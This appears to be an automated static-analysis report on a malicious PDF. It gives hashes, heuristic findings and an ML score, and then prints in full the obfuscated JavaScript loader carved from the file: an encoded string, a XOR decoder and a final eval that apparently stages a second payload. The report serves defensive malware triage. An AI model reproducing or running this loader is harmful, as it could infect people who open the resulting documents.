Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a25c7ca8b5d21c8…

MALICIOUS

PDF

7.3 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-09
MD5: f0216f26b538f5f4d65b480f8c0c427c SHA-1: 4034b10659fe156c99392468ebb5df3f5591d627 SHA-256: 8a25c7ca8b5d21c89938facd99038120dfb16db1c5420ebe2d214a7cab28d53e
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The ML classifier also flagged it as highly malicious. The embedded JavaScript uses eval() and string concatenation to construct and execute code, likely to download and run a second-stage payload. The specific JavaScript code extracted is: "eval('xqeIpr9=Math.ceil(EBmaFE2yCq8/ZqHkV96 eval('WZ0hADYT3Odga=Math.min(EBmaFE2yCq8,ZqHkV96 'qZJ1q7w|=(O7LUJ['IqJoq.charCodeAt(HQCv5tVU0M+ FB2a8yxuC =String['fromCharCode'](38^qZJ1q7w&255 INmE8INDnGmwyx datfield Scribus 1.3.3.12 Scribus PDF Library 1.3.3.12 2008312053854 2008312053854". Due to the obfuscation, the exact final payload cannot be determined, but the intent is clearly malicious code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    stream
function PP8hirxtrC() {var datfield = '5'+'LwmHkQH'+'fmH'+'7qWQ55lAqmkQkHmwm@3QYOWLq4oHmSUHSBklpGguSZUA4HwxPELPrSTsOt8lvA7viSBr'+'@c'+'Wqp5sz4c8Aq5'+'gLIHB'+'R4AO5X1n'+'sS'+'vJz4'+'Dqo5A7vi'+'SB'+'r@cArIHBR4'+'AOuvnFovQmoscmjkO'+'FzvQmo'+'scm'+'j'+'k5Fo'+'vQmoscmjkBHwHs7zHHUsSv3lr1q'+'pr9Jo'+'HTzLrcAov'+'HnfH4mrS5LPrSTsOtw'+'o'+'v_kL'+'q4oHmSUHSBkL_n3r7'+'pOriI3RPZ'+'Or'+'7y3QY5'+'AzvqOs75'+'BxkdmRW5FovGgz'+'rrkmmGHfrrw'+'ovqOs75qu'+'O67sOHrH_j'+'kQ55DrSY77mPkwqEq'+'QL4J'+'mrSHRL4JmrSHRL4JmrSHRL …
endstream
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x38E 5957 bytes
SHA-256: da3082d0a437f6ec8c55f207b6d29a3994267dc468911a67044fc7e65896ca89
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). 169 of 233 identifiers look randomly generated (e.g. 'QYOWLq4oHmSUHSBklpGguSZUA4HwxPELPrSTsOt8'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function PP8hirxtrC() {var datfield = '5'+'LwmHkQH'+'fmH'+'7qWQ55lAqmkQkHmwm@3QYOWLq4oHmSUHSBklpGguSZUA4HwxPELPrSTsOt8lvA7viSBr'+'@c'+'Wqp5sz4c8Aq5'+'gLIHB'+'R4AO5X1n'+'sS'+'vJz4'+'Dqo5A7vi'+'SB'+'r@cArIHBR4'+'AOuvnFovQmoscmjkO'+'FzvQmo'+'scm'+'j'+'k5Fo'+'vQmoscmjkBHwHs7zHHUsSv3lr1q'+'pr9Jo'+'HTzLrcAov'+'HnfH4mrS5LPrSTsOtw'+'o'+'v_kL'+'q4oHmSUHSBkL_n3r7'+'pOriI3RPZ'+'Or'+'7y3QY5'+'AzvqOs75'+'BxkdmRW5FovGgz'+'rrkmmGHfrrw'+'ovqOs75qu'+'O67sOHrH_j'+'kQ55DrSY77mPkwqEq'+'QL4J'+'mrSHRL4JmrSHRL4JmrSHRL4kvWbmx'+'L47mr4qxL4v'+'vszUR'+'L43'+'o'+'r'+'fU'+'RL43orGIRL4n5'+'W7HRL4n5'+'rSHRL'+'4n5klO'+'xL4nuPGDRL4v5Wb7xL4v5Wlv'+'xL43'+'v'+'kmLxL4J5WS'+'DxL4n5WbvxL4vosbvxL4nGrtvxL4UvW'+'qBRL4Jvrl7RL4UvWqBRL'+'4vRWbrRL4n5WGH'+'RL4n5W'+'bmxL4vosbvxL4mxPGH'+'R'+'L4'+'vR'+'rhsR'+'L4nxrtO'+'RL4kmsGHR'+'L4'+'n5WpIRL4n5WbvxL4OxkqL'+'RL4mxPbmxL4'+'rmshsRL4'+'v'+'RspIRL4kmsbORL4'+'n5WpLxL4n5WbvxL4OxkqLRL4mx'+'PbrRL47xk'+'hsRL4Oor4LxL4kmsHBxL4n5WGBxL4n5WbvxL'+'4Ox'+'kqLRL4mxPb7RL'+'4k'+'orhsRL4kvWHI'+'RL4kmshLxL'+'4'+'n5W7qxL'+'4n5WbvxL4OxkqL'+'RL4'+'mx'+'Pl'+'vxL4m'+'RWhsRL4kR'+'k@LR'+'L4kms4sRL4n5'+'WHTRL4n5Wb'+'vxL4OxkqL'+'RL4O5WlmxL4'+'J'+'GsqLxL4URkHHxL'+'4vvspDRL4vGstOxL4nuP'+'GLRL4'+'n5Wbnx'+'L'+'4mxrbvxL4URkqL'+'RL4voszmxL'+'4n5kt'+'OxL4nxWhDRL4v'+'osfvR'+'L4vGsfOxL'+'4'+'kmsfUR'+'L4n'+'5'+'WqBRL4n5W'+'bvxL43msfvxL4vxsyURL'+'4UvW'+'z'+'kRL4roPGsR'+'L4n5WbvxL4vvsbvxL4vGrtOxL'+'4mRkqB'+'RL4mvWqHxL4vv'+'sfvxL475'+'WtOxL4Oor'+'hsRL4n5WbvxL4m5'+'W'+'bvxL4OxkqBRL4'+'3RslmxL4m5'+'sbJxL4mxkqBRL'+'4kmslrRL'+'4'+'n5WhDxL4n5W'+'bvxL4Ox'+'kb7xL4moPzvxL4mG'+'rbv'+'xL'+'47xr@IRL4'+'mo'+'PhIxL'+'4n5ktvxL43Rk@sRL4n5WbvxL4'+'URkpWRL4voszv'+'xL4n'+'GrtOxL4nxWhDRL4vosfvRL4vGsfOxL4O5WGsRL4n'+'5'+'Wb'+'vxL43Rsbvx'+'L4mGsb3RL4Oxkb7xL4JGk'+'zmxL4mGk7BRL4Oorf7xL47'+'5W@IxL'+'4mGkfv'+'xL4O'+'xkq'+'BR'+'L43Rs'+'l'+'7RL4m5sbOxL4'+'mxkqBRL4kmslrRL4n5Wz7xL4n5WbvxL4n5WhD'+'RL4U'+'RkpWRL4voszvxL4nGstOxL4nuWhDRL'+'4vosfvRL4vG'+'sfO'+'xL4v5WGsRL4n5WbvxL43Rs'+'b'+'vxL4vospWRL'+'4v5Wt'+'OxL'+'4nxWhDRL'+'4v'+'osf'+'vRL4vG'+'sfO'+'xL'+'4n5WGsRL4n5WbvxL4OxWbvxL4muWfJRL4kRWb7xL4kRWb7'+'xL4'+'kRWb7x'+'L4kRW'+'b7x'+'L4kmrqH'+'xL'+'4mxsbmxL4'+'vosf7xL4k'+'oW7DRL4m'+'uWpgRL4kvWpW'+'RL4vosfOxL4vo'+'sGHRL4'+'nGs@'+'q'+'RL4'+'m5'+'rqBRL4mxPb7RL'+'4'+'UmkqBR'+'L4vos'+'y7RL4v'+'x'+'r@q'+'xL4'+'nGk@sRL4m'+'x'+'PpHxL4'+'UR'+'PqB'+'RL4nGkzvxL'+'4JGkp'+'HxL4O5sHLRL4JvrtnxL4mmkb7xL'+'4JGk'+'fURL4nurpT'+'RL4v5W4I'+'RL'+'4OoWynRL4n'+'G'+'s@qx'+'L4mRrHDxL4'+'nGkbmRL4O5WpBxL'+'4ORWGBRL4'+'ORryJRL4'+'URkf'+'ORL4m'+'xsGI'+'xL4kosqBRL4mxsqB'+'R'+'L4n'+'Gkzm'+'xL43'+'RP7qRL4'+'nGr'+'qBRL4vostJRL4vGrfnRL47vrb7xL4'+'n'+'5kqBRL4nG'+'kqBRL4mxrH'+'IxL4moWfmRL'+'4n5'+'WbrRL4OvkGsRL4OorpIRL'+'4mxkpWRL'+'4OGrfJxL4OurtmRL4n5WtORL4rosqg'+'RL4rormBRL4mvW7IxL47vsHLxL4mR'+'W7BRL47RP7IRL4'+'mRW7IRL'+'47ms7BRL47vrHDxL47mr7IRL4mvWHLxL4rmrmDxL4vRWqIRL'+'4rvrqBRL4v'+'RPqLxL4mvWqqRL47'+'o'+'s7LR'+'L47mr'+'qHR'+'L4vRr'+'qHRL'+'4vRr7DRL47vr7sRL4vos'+'7'+'gR'+'L4vR'+'rqH'+'R'+'L4vos7WRL4vRs'+'7'+'sRL47os'+'7g'+'R'+'L4vRr'+'7sRL'+'47oP7'+'LRL47RrqLRL4vvr7sRL47mr'+'7IRL47vrqHRL'+'4vmr7'+'DRL4'+'7RPq'+'qRL47RP7qRL4vos'+'q'+'IRL4rm'+'rHLxL'+'4rmr'+'mTRL4vRsmBRL4mvWq'+'BxL4vmk'+'HLxL4v'+'Rr'+'q'+'Lx'+'L4mRW'+'qBRL4voPm'+'WRL4'+'7vWm'+'WRL4vosqTRL47vr7Bx'+'L47'+'o'+'r7LRL47mr7sRL4'+'rmrHLRL4vmkmWRL47os7B5vcAo'+'v'+'qOs75'+'Bxi'+'JRj'+'mIRtSdmArjkQ55WopSWor'+'GWo'+'rO'+'WLHPmzv'+'snz4H8sizm'+'Gi5'+'FovfktIr'+'mP7vwxOB9AqBrfH'+'Ek'+'LY'+'5qmP5LwmHkLO7lusSRtv_WlWZzs@P'+'Rr@185mpItv'+'aWlYsnz4H8sizmGinWo'+'p7gR'+'YOW'+'LH'+'P'+'m'+'zvQmos'+'cm'+'jk5Fov4oA'+'q77AmGnfYsDQ'+'H@WRPGDQH@WRP'+'GqQYOWLIHBR4AO'+'uv_WlpGguSZU'+'A4H'+'w'+'xPELP'+'rSTsO'+'t8lvA7viSBr'+'@cAovq'+'Os75I'+'5ic'+'M'+'GkKoxk5'+'Fov'+'EBxkdm'+'R'+'W5'+'FlvGgzsGWorGWR'+'YJBxiJRjmIRtSdmAr'+'jwovLzs75gLHPmzvhOxpzO'+'o'+'7TOR'+'5GAoptU7kpWr@p9Rk'+'9UA'+'izU5itwoptU'+'7kpWr@pAqYcWqp5Dr'+'ks7rsU3wk@7xrGRjrekQ5'+'5LPr'+'ST'+'s'+'OtkqY5qu'+'O67sOHrH_'+'jwov_kQG5LAHB7fHczsS5IApTwxpGLm'+'_1'+'vm4G3Q'+'Y5'+'AzvqOs75q7I9kjH'+'P'+'O'+'A'+'_ms7q5'+'F'+'ovPkz7BLw4Yrwq'+'HvjqH7w4'+'J'+'osXSzHOSmw4Br'+'fYcAo'+'vHrP'+'ixnwmPUGsmrfv_W'+'L7Ro'+'uO4OAmKrmHvoL7YkzSP7AqEflh'+'yz'+'qq1qLvcAovqOs7'+'5AfHhsf'+'s@Wpr5FovBnHH5I57HOApEq7I9kjH'+'PO'+'A_ms7'+'qBHf'+'4Pm'+'w'+'kS3lrc9'+'L7RouO4OAm'+'Krm'+'HvoqmEO'+'s7tJzYpTlXH'+'rPi'+'x'+'nwmPUG'+'smrsXr3AmHOu'+'H'+'EqRYcAovcvfvEgq4S3'+'mqSToO'+'7AtrekQ'+'5'+'_WlP5L'+'LL5glYnJzPvJ'+'RP'+'x7m@pF'+'tv'+'_FovpWLLL'+'Wq4S3mqSToO7'+'A'+'P'+'rekl55q'+'R'+'Y59zG5A'+'fHhsfs@WprUORh59ovp'+'TQY59zG5gq4S3mqST'+'oO7Atre'+'kQ5_'+'Wqs5L'+'LL5AfHhsfs@'+'Wpr'+'UORh5'+'9o'+'vpTlvi8zvE'+'Af'+'Hhsfs'+'@WprUkRh59ovmTQY5Azv'+'Fw'+'fpHOw79RzP@Fx7H'+'J'+'uYcAovqOs75IwrHk7_rvwsAmP4@kQ55DrS'+'Y77'+'mPk'+'w'+'q'+'EqQL4kmmGHA'+'L4km'+'mG'+'HsvcAovm3A'+'41nf'+'Y'+'pOv7Gw'+'GmqnvOARA'+'pB'+'9AqBrfH'+'Ekl'+'55Bos@DvrcWQ7'+'pqz7M7sH4q'+'PODUzvnFovpOv7GwGmqnv'+'OARApOWlHEUH7BHHS18Ams'+'7t'+'HJ'+'mwq5Fov'+'zz'+'fS1'+'OsmBHHS'+'18AqrJwWaOA41U5S'+'LzfYO'+'7w'+'Hs'+'RsP5qLv1'+'F'+'H7vRovpOv7'+'GwGmqnvOARAp_U'+'qP5Fzv_kQm@Rp_@kvsM8ss'+'nk'+'zYc'+'Av'; function fOiBVfrLykTeo(IqJoq){ var tp = '63@10@58@57@19@6@50@21@41@40@0@0@0@0@0@0@31@52@8@46@12@14@44@22@20@28@9@47@0@45@51@29@7@48@49@18@60@61@62@24@2@3@43@0@0@0@0@27@0@11@35@15@42@59@36@56@30@26@55@25@32@17@13@33@23@16@5@4@39@38@1@53@54@34@37'; var eCMMPSaym=0, EBmaFE2yCq8=IqJoq.length, ZqHkV96=1024, WZ0hADYT3Odga, xqeIpr9, INmE8INDnGmwyx='', HQCv5tVU0M=eCMMPSaym, FB2a8yxuC=eCMMPSaym, qZJ1q7w=eCMMPSaym, O7LUJ=Array(); O7LUJ = tp.split('@'); for(eval('xqeIpr9=Ma'+'th.'+'ce'+'il(EBmaFE2yCq8'+'/ZqHkV96)');xqeIpr9>eCMMPSaym;xqeIpr9--){ for(eval('WZ0hADYT3Odga=M'+'ath'+'.m'+'in(EBmaFE2yCq8,'+'ZqHkV96)');WZ0hADYT3Odga>eCMMPSaym;WZ0hADYT3Odga--,EBmaFE2yCq8--){ eval('qZJ1q7w|'+'=(O7LUJ['+'IqJoq.'+'cha'+'rCo'+'de'+'At(HQCv5tVU0M+'+'+)-48])<'+'<FB2a8yxuC'); if(FB2a8yxuC){ eval('INmE8INDnGmwyx+'+'=S'+'tri'+'ng['+'"fro'+'mCha'+'rCod'+'e"](38^'+'qZJ1q7w&'+'25'+'5)'); qZJ1q7w>>=8; FB2a8yxuC-=2; } else { FB2a8yxuC=6; } } } eval(INmE8INDnGmwyx); } fOiBVfrLykTeo(datfield);}

Open this report in the interactive analyzer, or submit your own file for analysis.